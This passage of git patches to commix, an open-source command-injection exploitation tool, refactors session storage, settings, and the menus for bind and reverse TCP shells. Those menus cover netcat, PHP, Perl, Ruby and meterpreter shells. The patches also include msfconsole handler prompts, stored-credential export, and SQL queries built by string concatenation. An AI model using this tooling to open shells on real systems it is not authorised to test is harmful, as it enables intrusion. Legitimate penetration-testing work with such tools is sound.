- settings.LOAD_SESSION = False - return False + settings.LOAD_SESSION = None + return url, check_parameter """ Export successful injection points from session file. """ -def injection_point_exportation(url, http_request_method): +def export_injection_points(url, technique, injection_type, http_request_method): try: - if not menu.options.flush_session: - conn = sqlite3.connect(settings.SESSION_FILE) - result = conn.execute("SELECT * FROM sqlite_master WHERE name = '" + \ - table_name(url) + "_ip' AND type = 'table';") - if result: - # if menu.options.tech[:1] == "c": - # select_injection_type = "R" - # elif menu.options.tech[:1] == "e": - # settings.EVAL_BASED_STATE = True - # select_injection_type = "R" - # elif menu.options.tech[:1] == "t": - # select_injection_type = "B" - # else: - # select_injection_type = "S" - # if settings.TEMPFILE_BASED_STATE and select_injection_type == "S": - # check_injection_technique = "t" - # elif settings.EVAL_BASED_STATE and select_injection_type == "R": - # check_injection_technique = "d" - # else: - # check_injection_technique = menu.options.tech[:1] - if settings.TESTABLE_PARAMETER: - cursor = conn.execute("SELECT * FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - # "injection_type like '" + select_injection_type + "%' AND "\ - # "technique like '" + check_injection_technique + "%' AND "\ - "vuln_parameter = '" + settings.TESTABLE_PARAMETER + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER BY id DESC limit 1;") - - else: - cursor = conn.execute("SELECT * FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - # "injection_type like '" + select_injection_type + "%' AND "\ - # "technique like '" + check_injection_technique + "%' AND "\ - "http_header = '" + settings.HTTP_HEADER + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER BY id DESC limit 1;") - + conn = sqlite3.connect(settings.SESSION_FILE) + result = conn.execute("SELECT * FROM sqlite_master WHERE name = '" + table_name(url) + "_ip' AND type = 'table';") + if result: + query = "SELECT * FROM " + table_name(url) + "_ip WHERE " + \ + "url like '%" + split_url(url) + "%' AND " + \ + "technique == '" + technique + "' AND " + \ + "injection_type == '" + injection_type + "' AND " + \ + "http_request_method == '" + http_request_method + "';" + cursor = conn.execute(query).fetchall() + if cursor: for session in cursor: url = session[1] technique = session[2] @@ -254,67 +269,36 @@ def injection_point_exportation(url, http_request_method): TAG = session[9] alter_shell = session[10] payload = session[11] + http_header = session[12] http_request_method = session[13] url_time_response = session[14] timesec = session[15] exec_time = session[16] output_length = session[17] is_vulnerable = session[18] + data = session[19] + cookie = session[20] + if http_header: + settings.HTTP_HEADER = http_header + if cookie: + menu.options.cookie = cookie + if data: + settings.IGNORE_USER_DEFINED_POST_DATA = False + menu.options.data = data + if settings.INJECTION_LEVEL != is_vulnerable: + settings.INJECTION_LEVEL = int(is_vulnerable) return url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable + else: + settings.LOAD_SESSION = None + return False else: no_such_table = True pass except sqlite3.OperationalError as err_msg: - #settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - settings.LOAD_SESSION = False + settings.LOAD_SESSION = None return False except: - settings.LOAD_SESSION = False - return False - -""" -Notification about session. -""" -def notification(url, technique, injection_type): - try: - if settings.LOAD_SESSION == True: - while True: - # message = "A previously stored session has been held against that target. " - message = "Do you want to resume to the " - message += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " - message += technique.rsplit(' ', 2)[0] - message += " injection point from stored session? [Y/n] > " - settings.LOAD_SESSION = common.read_input(message, default="Y", check_batch=True) - if settings.LOAD_SESSION in settings.CHOICE_YES: - settings.INJECTION_CHECKER = True - return True - elif settings.LOAD_SESSION in settings.CHOICE_NO: - settings.LOAD_SESSION = False - settings.RESET_TESTS = True - return False - elif settings.LOAD_SESSION in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(settings.LOAD_SESSION) - pass - except sqlite3.OperationalError as err_msg: - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - except (KeyboardInterrupt, SystemExit): - raise - -""" -Check for specific stored parameter. -""" -def check_stored_parameter(url, http_request_method): - if injection_point_exportation(url, http_request_method): - if injection_point_exportation(url, http_request_method)[16] == str(menu.options.level): - # Check for stored alternative shell - if injection_point_exportation(url, http_request_method)[9] != "": - menu.options.alter_shell = injection_point_exportation(url, http_request_method)[9] - return True - else: - return False - else: + settings.LOAD_SESSION = None return False """ @@ -326,18 +310,11 @@ def store_cmd(url, cmd, shell, vuln_parameter): conn = sqlite3.connect(settings.SESSION_FILE) conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_ir" + \ "(cmd VARCHAR, output VARCHAR, vuln_parameter VARCHAR);") - if settings.TESTABLE_PARAMETER: - conn.execute("INSERT INTO " + table_name(url) + "_ir(cmd, output, vuln_parameter) " \ - "VALUES(?,?,?)", \ - (str(base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode()), \ - str(base64.b64encode(shell.encode(settings.DEFAULT_CODEC)).decode()), \ - str(vuln_parameter))) - else: - conn.execute("INSERT INTO " + table_name(url) + "_ir(cmd, output, vuln_parameter) "\ - "VALUES(?,?,?)", \ - (str(base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode()), \ - str(base64.b64encode(shell.encode(settings.DEFAULT_CODEC)).decode()), \ - str(settings.HTTP_HEADER))) + conn.execute("INSERT INTO " + table_name(url) + "_ir(cmd, output, vuln_parameter) " \ + "VALUES(?,?,?)", \ + (str(base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode()), \ + str(base64.b64encode(shell.encode(settings.DEFAULT_CODEC)).decode()), \ + str(vuln_parameter))) conn.commit() conn.close() except sqlite3.OperationalError as err_msg: @@ -350,31 +327,20 @@ def store_cmd(url, cmd, shell, vuln_parameter): """ def export_stored_cmd(url, cmd, vuln_parameter): try: - if not menu.options.flush_session: - conn = sqlite3.connect(settings.SESSION_FILE) - output = None - conn = sqlite3.connect(settings.SESSION_FILE) - if settings.TESTABLE_PARAMETER: - cursor = conn.execute("SELECT output FROM " + table_name(url) + \ - "_ir WHERE cmd='" + base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode() + "' AND "\ - "vuln_parameter= '" + vuln_parameter + "';").fetchall() - else: - cursor = conn.execute("SELECT output FROM " + table_name(url) + \ - "_ir WHERE cmd='" + base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode() + "' AND "\ - "vuln_parameter= '" + settings.HTTP_HEADER + "';").fetchall() - - conn.commit() - conn.close() - - for session in cursor: - output = base64.b64decode(session[0]) - try: - return output.decode(settings.DEFAULT_CODEC) - except AttributeError: - return output - else: - no_such_table = True - pass + output = None + conn = sqlite3.connect(settings.SESSION_FILE) + query = "SELECT output FROM " + table_name(url) + \ + "_ir WHERE cmd='" + base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode() + "' AND " + \ + "vuln_parameter= '" + vuln_parameter + "';" + cursor = conn.execute(query).fetchall() + conn.commit() + conn.close() + for session in cursor: + output = base64.b64decode(session[0]) + try: + return output.decode(settings.DEFAULT_CODEC) + except AttributeError: + return output except sqlite3.OperationalError as err_msg: pass @@ -387,8 +353,7 @@ def import_valid_credentials(url, authentication_type, admin_panel, username, pa conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_creds" + \ "(id INTEGER PRIMARY KEY, url VARCHAR, authentication_type VARCHAR, admin_panel VARCHAR, "\ "username VARCHAR, password VARCHAR);") - - conn.execute("INSERT INTO " + table_name(url) + "_creds(url, authentication_type, "\ + conn.execute("INSERT INTO " + table_name(url) + "_creds(url, authentication_type, " \ "admin_panel, username, password) VALUES(?,?,?,?,?)", \ (str(url), str(authentication_type), str(admin_panel), \ str(username), str(password))) @@ -404,19 +369,15 @@ def import_valid_credentials(url, authentication_type, admin_panel, username, pa """ def export_valid_credentials(url, authentication_type): try: - if not menu.options.flush_session: - conn = sqlite3.connect(settings.SESSION_FILE) - output = None - conn = sqlite3.connect(settings.SESSION_FILE) - cursor = conn.execute("SELECT username, password FROM " + table_name(url) + \ - "_creds WHERE url='" + url + "' AND "\ - "authentication_type= '" + authentication_type + "';").fetchall() - - cursor = ":".join(cursor[0]) - return cursor - else: - no_such_table = True - pass + output = None + conn = sqlite3.connect(settings.SESSION_FILE) + query = "SELECT username, password FROM " + table_name(url) + \ + "_creds WHERE url like '%" + split_url(url) + "%' AND " + \ + "authentication_type= '" + authentication_type + "';" + cursor = conn.execute(query).fetchall() + conn.commit() + conn.close() + return ":".join(cursor[0]) except sqlite3.OperationalError as err_msg: pass diff --git a/src/utils/settings.py b/src/utils/settings.py index bebf834d78..ca013c8de1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "92" +REVISION = "93" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -290,11 +290,14 @@ def sys_argv_errors(): START_TIME = time.time() +# Maximum number of lines to save in history file +MAX_HISTORY_LENGTH = 1000 + # Readline READLINE_ERROR = False -# User-supplied operating system command -USER_SUPPLIED_CMD = "" +# User-applied operating system command +USER_APPLIED_CMD = "" # Random Tag RANDOM_TAG = "" @@ -378,7 +381,7 @@ class HEURISTIC_TEST(object): SKIP_CODE_INJECTIONS = False SKIP_COMMAND_INJECTIONS = False -USER_DEFINED_URL_DATA = True +USER_DEFINED_URL_DATA = False # User-defined stored POST data. USER_DEFINED_POST_DATA = "" # Ignore user-defined stored POST data. @@ -388,8 +391,9 @@ class HEURISTIC_TEST(object): CUSTOM_INJECTION_MARKER_CHAR = "*" CUSTOM_INJECTION_MARKER = False ASTERISK_MARKER = "__ASTERISK__" -PRE_CUSTOM_INJECTION_MARKER_CHAR = "" CUSTOM_INJECTION_MARKER_PARAMETERS_LIST = [] +PRE_CUSTOM_INJECTION_MARKER_CHAR = "" +POST_CUSTOM_INJECTION_MARKER_CHAR = "" class INJECTION_MARKER_LOCATION(object): URL = False @@ -403,6 +407,7 @@ class INJECTION_MARKER_LOCATION(object): # Testable parameter(s) - comma separated. TESTABLE_PARAMETERS_LIST = [] TESTABLE_PARAMETERS = None +NOT_TESTABLE_PARAMETERS = True # Skip testing for given parameter(s) - comma separated. SKIP_PARAMETER = "" @@ -420,7 +425,7 @@ class OS(object): IDENTIFIED_TARGET_OS = False IGNORE_IDENTIFIED_OS = None -# Verbosity level: 0-1 (default 0) +# Verbosity level (0-4, Default: 0) VERBOSITY_LEVEL = 0 # Local HTTP server ip @@ -561,11 +566,14 @@ class OS(object): # Seconds to delay between each HTTP retry. DELAY_RETRY = 1 -#Level (Default: 1) DEFAULT_INJECTION_LEVEL = 1 COOKIE_INJECTION_LEVEL = 2 HTTP_HEADER_INJECTION_LEVEL = 3 -USER_SUPPLIED_LEVEL = DEFAULT_INJECTION_LEVEL + +# Level of tests to perform. +# The higher the value is, the higher the number of HTTP(s) requests are. (Default: 1) +INJECTION_LEVEL = 0 +USER_APPLIED_LEVEL = False PERFORM_BASIC_SCANS = True # Default Temp Directory @@ -652,16 +660,16 @@ class OS(object): CHOICE_YES = ['YES','YE','Y','yes','ye','y'] # Accepts 'NO','N','no','n' -CHOICE_NO = ['NO','N','no','n'] +CHOICE_NO = ['NO','no','N','n'] # Accepts 'QUIT','Q','quit','q' -CHOICE_QUIT = ['QUIT','Q','quit','q'] +CHOICE_QUIT = ['QUIT','quit','Q','q'] # Accepts 'W','w','U','u','Q','q' CHOICE_OS = ['W','w','U','u','Q','q','N','n'] -# Accepts 'C','c','S','s','Q','q','A','a','N','n','R','r' -CHOICE_PROCEED = ['C','c','S','s','Q','q','A','a','N','n','R','r'] +# Accepts 'C','c','S','s','Q','q','A','a' +CHOICE_PROCEED = ['C','c','S','s','Q','q','A','a'] # Available alternative shells AVAILABLE_SHELLS = ["python"] @@ -684,7 +692,7 @@ class INJECTION_TECHNIQUE(object): FILE_BASED = "file-based command injection technique" TEMP_FILE_BASED = "tempfile-based injection technique" -USER_SUPPLIED_TECHNIQUE = False +USER_APPLIED_TECHNIQUE = False SKIP_TECHNIQUES = False # User Agent List @@ -1051,9 +1059,6 @@ class INJECTION_TECHNIQUE(object): SESSION_FILE = "" LOAD_SESSION = None -# Reset all tests (i.e. all techniques) -RESET_TESTS = False - # Define the default credentials files USERNAMES_TXT_FILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "default_usernames.txt" PASSWORDS_TXT_FILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "default_passwords.txt" @@ -1077,7 +1082,7 @@ class AUTH_TYPE(object): RAW_HTTP_HEADERS = "" -USER_SUPPLIED_TAMPER = "" +USER_APPLIED_TAMPER = "" # Tamper scripts dict TAMPER_SCRIPTS = { @@ -1361,4 +1366,5 @@ class END_LINE: USE_PCRE_E_MODIFIER = None PCRE_MODIFIER = "/e" + # eof diff --git a/src/utils/version.py b/src/utils/version.py index 9ee77e1351..95869585d0 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -33,4 +33,5 @@ def python_version(): warn_msg += PYTHON_VERSION + ". " warn_msg += "You are advised to re-run with Python 3." settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) - #raise SystemExit() + +# eof \ No newline at end of file From fee3bb4b076ba04916d455cf7ecf96d5eaa46996 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 8 Sep 2024 09:43:19 +0300 Subject: [PATCH 0493/1023] Update regarding commit: https://github.com/commixproject/commix/commit/0d291ee45bee9a45ffce537c30035b928f6a6d98 --- src/core/injections/controller/checks.py | 198 +++++++++++++++ src/core/shells/bind_tcp.py | 216 +++------------- src/core/shells/reverse_tcp.py | 301 +++++------------------ src/utils/common.py | 27 +- src/utils/settings.py | 2 +- 5 files changed, 308 insertions(+), 436 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 6c381c444e..c28f089abb 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -3024,4 +3024,202 @@ def time_relative_export_injection_results(cmd, separator, output, check_exec_ti err_msg = common.invalid_cmd_output(cmd) settings.print_data_to_stdout(settings.print_error_msg(err_msg)) +""" +Success msg. +""" +def shell_success(option): + info_msg = "Everything is in place. Cross your fingers and check for " + option + " shell on port " + settings.LPORT + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +""" +Payload generation message. +""" +def gen_payload_msg(payload): + info_msg = "Generating the '" + payload + "' shellcode. " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +""" +Error msg if the attack vector is available only for Windows targets. +""" +def windows_only_attack_vector(): + error_msg = "This attack vector is available only for Windows targets." + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) + +""" +Message regarding the MSF handler. +""" +def msf_launch_msg(output): + info_msg = "Type \"msfconsole -r " + os.path.abspath(output) + "\" (in a new window)." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + info_msg = "Once the loading is done, press here any key to continue..." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + sys.stdin.readline().replace("\n", "") + # Remove the ouput file. + os.remove(output) + +""" +Check for available shell options. +""" +def shell_options(option): + if option.lower() == "reverse_tcp" or option.lower() == "bind_tcp" : + warn_msg = "You are into the '" + option.lower() + "' mode." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + elif option.lower() == "?": + menu.reverse_tcp_options() + elif option.lower() == "quit" or option.lower() == "exit": + raise SystemExit() + + elif option[0:4].lower() == "set ": + if option[4:10].lower() == "lhost ": + if option.lower() == "bind_tcp": + err_msg = "The '" + option[4:9].upper() + "' option, is not " + err_msg += "usable for '" + option.lower() + "' mode. Use 'RHOST' option." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + else: + check_lhost(option[10:]) + if option[4:10].lower() == "rhost ": + if option.lower() == "reverse_tcp": + err_msg = "The '" + option[4:9].upper() + "' option, is not " + err_msg += "usable for '" + option.lower() + "' mode. Use 'LHOST' option." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + else: + check_rhost(option[10:]) + if option.lower() == "reverse_tcp": + if option[4:10].lower() == "lport ": + check_lport(option[10:]) + if option[4:12].lower() == "srvport ": + check_srvport(option[12:]) + if option[4:12].lower() == "uripath ": + check_uripath(option[12:]) + else: + return option + +""" +Set up the PHP working directory on the target host. +""" +def set_php_working_dir(): + while True: + message = "Do you want to use '" + settings.WIN_PHP_DIR + message += "' as PHP working directory on the target host? [Y/n] > " + php_dir = common.read_input(message, default="Y", check_batch=True) + if php_dir in settings.CHOICE_YES: + break + elif php_dir in settings.CHOICE_NO: + message = "Please provide a custom working directory for PHP (e.g. '" + settings.WIN_PHP_DIR + "') > " + settings.WIN_PHP_DIR = common.read_input(message, default=settings.WIN_PHP_DIR, check_batch=True) + settings.USER_DEFINED_PHP_DIR = True + break + else: + common.invalid_option(php_dir) + pass + +""" +Set up the Python working directory on the target host. +""" +def set_python_working_dir(): + while True: + message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER + message += "' as Python interpreter on the target host? [Y/n] > " + python_dir = common.read_input(message, default="Y", check_batch=True) + if python_dir in settings.CHOICE_YES: + break + elif python_dir in settings.CHOICE_NO: + message = "Please provide a full path directory for Python interpreter (e.g. '" + settings.WIN_CUSTOM_PYTHON_INTERPRETER + "') > " + settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=settings.WIN_CUSTOM_PYTHON_INTERPRETER, check_batch=True) + settings.USER_DEFINED_PYTHON_DIR = True + break + else: + common.invalid_option(python_dir) + pass + +""" +Check if to use '/bin' standard subdirectory +""" +def use_bin_subdir(nc_alternative, shell): + while True: + message = "Do you want to use '/bin' standard subdirectory? [y/N] > " + enable_bin_subdir = common.read_input(message, default="N", check_batch=True) + if enable_bin_subdir in settings.CHOICE_YES : + nc_alternative = "/bin/" + nc_alternative + shell = "/bin/" + shell + return nc_alternative, shell + elif enable_bin_subdir in settings.CHOICE_NO: + return nc_alternative, shell + elif enable_bin_dir in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(enable_bin_subdir) + pass + +""" +Set up the Python interpreter on linux target host. +""" +def set_python_interpreter(): + while True: + message = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER + message += "' as Python interpreter on the target host? [Y/n] > " + python_interpreter = common.read_input(message, default="Y", check_batch=True) + if python_interpreter in settings.CHOICE_YES: + break + elif python_interpreter in settings.CHOICE_NO: + message = "Please provide a custom working interpreter for Python (e.g. '" + settings.LINUX_CUSTOM_PYTHON_INTERPRETER + "') > " + settings.LINUX_PYTHON_INTERPRETER = common.read_input(message, default=settings.LINUX_CUSTOM_PYTHON_INTERPRETER, check_batch=True) + settings.USER_DEFINED_PYTHON_INTERPRETER = True + break + else: + common.invalid_option(python_interpreter) + pass + +""" +check / set rhost option for bind TCP connection +""" +def check_rhost(rhost): + settings.RHOST = rhost + settings.print_data_to_stdout("RHOST => " + settings.RHOST) + return True + +""" +check / set lhost option for reverse TCP connection +""" +def check_lhost(lhost): + settings.LHOST = lhost + settings.print_data_to_stdout("LHOST => " + settings.LHOST) + return True + +""" +check / set lport option for reverse TCP connection +""" +def check_lport(lport): + try: + if float(lport): + settings.LPORT = lport + settings.print_data_to_stdout("LPORT => " + settings.LPORT) + return True + except ValueError: + err_msg = "The provided port must be numeric (i.e. 1234)" + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return False + +""" +check / set srvport option for reverse TCP connection +""" +def check_srvport(srvport): + try: + if float(srvport): + settings.SRVPORT = srvport + settings.print_data_to_stdout("SRVPORT => " + settings.SRVPORT) + return True + except ValueError: + err_msg = "The provided port must be numeric (i.e. 1234)" + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return False + +""" +check / set uripath option for reverse TCP connection +""" +def check_uripath(uripath): + settings.URIPATH = uripath + settings.print_data_to_stdout("URIPATH => " + settings.URIPATH) + return True + # eof \ No newline at end of file diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 2bf67625e6..4441072970 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -22,134 +22,10 @@ from src.utils import menu from src.utils import common from src.utils import settings +from src.core.injections.controller import checks from src.thirdparty.six.moves import input as _input from src.thirdparty.colorama import Fore, Back, Style, init -""" -Check for available shell options. -""" -def shell_options(option): - if option.lower() == "bind_tcp": - warn_msg = "You are into the '" + option.lower() + "' mode." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - elif option.lower() == "?": - menu.reverse_tcp_options() - elif option.lower() == "quit" or option.lower() == "exit": - raise SystemExit() - elif option[0:4].lower() == "set ": - if option[4:10].lower() == "rhost ": - check_rhost(option[10:]) - if option[4:10].lower() == "lhost ": - err_msg = "The '" + option[4:9].upper() + "' option, is not " - err_msg += "usable for 'bind_tcp' mode. Use 'RHOST' option." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - if option[4:10].lower() == "lport ": - check_lport(option[10:]) - else: - return option - -""" -Error msg if the attack vector is available only for Windows targets. -""" -def windows_only_attack_vector(): - error_msg = "This attack vector is available only for Windows targets." - settings.print_data_to_stdout(settings.print_error_msg(error_msg)) - -""" -Message regarding the MSF handler. -""" -def msf_launch_msg(output): - info_msg = "Type \"msfconsole -r " + os.path.abspath(output) + "\" (in a new window)." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - info_msg = "Once the loading is done, press here any key to continue..." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - sys.stdin.readline().replace("\n", "") - # Remove the ouput file. - os.remove(output) - -""" -Set up the PHP working directory on the target host. -""" -def set_php_working_dir(): - while True: - message = "Do you want to use '" + settings.WIN_PHP_DIR - message += "' as PHP working directory on the target host? [Y/n] > " - php_dir = common.read_input(message, default="Y", check_batch=True) - if php_dir in settings.CHOICE_YES: - break - elif php_dir in settings.CHOICE_NO: - message = "Please provide a full path directory for Python interpreter (e.g. '" - message += settings.WIN_PYTHON_INTERPRETER + "') or 'python'> " - settings.WIN_PHP_DIR = common.read_input(message, default=None, check_batch=True) - settings.USER_DEFINED_PHP_DIR = True - break - else: - common.invalid_option(php_dir) - pass - -""" -Set up the Python working directory on the target host. -""" -def set_python_working_dir(): - while True: - message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER - message += "' as Python interpreter on the target host? [Y/n] > " - python_dir = common.read_input(message, default="Y", check_batch=True) - if python_dir in settings.CHOICE_YES: - break - elif python_dir in settings.CHOICE_NO: - message = "Please provide a full path directory for Python interpreter (e.g. '" - message += "C:\\Python27\\python.exe') > " - settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) - settings.USER_DEFINED_PYTHON_DIR = True - break - else: - common.invalid_option(python_dir) - pass - -""" -Set up the Python interpreter on linux target host. -""" -def set_python_interpreter(): - while True: - message = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER - message += "' as Python interpreter on the target host? [Y/n] > " - python_interpreter = common.read_input(message, default="Y", check_batch=True) - if python_interpreter in settings.CHOICE_YES: - break - elif python_interpreter in settings.CHOICE_NO: - message = "Please provide a custom interpreter for Python (e.g. '" - message += "python27') > " - settings.LINUX_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) - settings.USER_DEFINED_PYTHON_INTERPRETER = True - break - else: - common.invalid_option(python_interpreter) - pass - -""" -check / set rhost option for bind TCP connection -""" -def check_rhost(rhost): - settings.RHOST = rhost - settings.print_data_to_stdout("RHOST => " + settings.RHOST) - return True - -""" -check / set lport option for bind TCP connection -""" -def check_lport(lport): - try: - if float(lport): - settings.LPORT = lport - settings.print_data_to_stdout("LPORT => " + settings.LPORT) - return True - except ValueError: - err_msg = "The provided port must be numeric (i.e. 1234)" - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - return False - - """ Set up the netcat bind TCP connection """ @@ -166,14 +42,13 @@ def netcat_version(separator): "nc.openbsd" ] - while True: - nc_version = _input("""""" + Style.BRIGHT + """Available netcat bind TCP shell options:""" + Style.RESET_ALL + """ + settings.print_data_to_stdout(Style.BRIGHT + """Available netcat bind TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host. -commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_netcat""" + Style.RESET_ALL + """) > """) - +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host.""") + while True: + nc_version = _input("""commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_netcat""" + Style.RESET_ALL + """) > """) # Default Netcat if nc_version == '1': nc_alternative = NETCAT_ALTERNATIVES[0] @@ -192,27 +67,14 @@ def netcat_version(separator): break # Check for available shell options elif any(option in nc_version.lower() for option in settings.SHELL_OPTIONS): - if shell_options(nc_version): - return shell_options(nc_version) + if checks.shell_options(nc_version): + return checks.shell_options(nc_version) # Invalid command else: - common.invalid_option(nc_version) + checks.invalid_option(nc_version) continue - while True: - message = "Do you want to use '/bin' standard subdirectory? [y/N] > " - enable_bin_dir = common.read_input(message, default="N", check_batch=True) - if enable_bin_dir in settings.CHOICE_NO: - break - elif enable_bin_dir in settings.CHOICE_YES : - nc_alternative = "/bin/" + nc_alternative - shell = "/bin/" + shell - break - elif enable_bin_dir in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(enable_bin_dir) - pass + nc_alternative, shell = checks.use_bin_subdir(nc_alternative, shell) if nc_version != '4': # Netcat with -e @@ -226,11 +88,10 @@ def netcat_version(separator): return cmd """ +Other bind shell options """ def other_bind_shells(separator): - - while True: - other_shell = _input("""""" + Style.BRIGHT + """Available generic bind TCP shell options:""" + Style.RESET_ALL + """ + settings.print_data_to_stdout(Style.BRIGHT + """Available generic bind TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP bind TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl bind TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby bind TCP shell. @@ -239,9 +100,9 @@ def other_bind_shells(separator): """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Ncat bind TCP shell. """ + Style.BRIGHT + """Available meterpreter bind TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a PHP meterpreter bind TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python meterpreter bind TCP shell. -commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_other""" + Style.RESET_ALL + """) > """) - +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python meterpreter bind TCP shell.""") + while True: + other_shell = _input("""commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_other""" + Style.RESET_ALL + """) > """) # PHP-bind-shell if other_shell == '1': @@ -277,11 +138,11 @@ def other_bind_shells(separator): "exploit\n\n") if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: - set_php_working_dir() + checks.set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -r " + data else: other_shell = "php -r \"" + data + "\"" - msf_launch_msg(output) + checks.msf_launch_msg(output) except: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) @@ -368,11 +229,11 @@ def other_bind_shells(separator): "exploit\n\n") if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: - set_php_working_dir() + checks.set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -r " + data else: other_shell = "php -r \"" + data + "\"" - msf_launch_msg(output) + checks.msf_launch_msg(output) except: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break @@ -414,23 +275,23 @@ def other_bind_shells(separator): if settings.TARGET_OS == settings.OS.WINDOWS: if not settings.USER_DEFINED_PYTHON_DIR: - set_python_working_dir() + checks.set_python_working_dir() other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" else: if not settings.USER_DEFINED_PYTHON_INTERPRETER: - set_python_interpreter() + checks.set_python_interpreter() other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" - msf_launch_msg(output) + checks.msf_launch_msg(output) except: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break # Check for available shell options elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS): - if shell_options(other_shell): - return shell_options(other_shell) + if checks.shell_options(other_shell): + return checks.shell_options(other_shell) # Invalid option else: - common.invalid_option(other_shell) + checks.invalid_option(other_shell) continue return other_shell @@ -439,13 +300,11 @@ def other_bind_shells(separator): Choose type of bind TCP connection. """ def 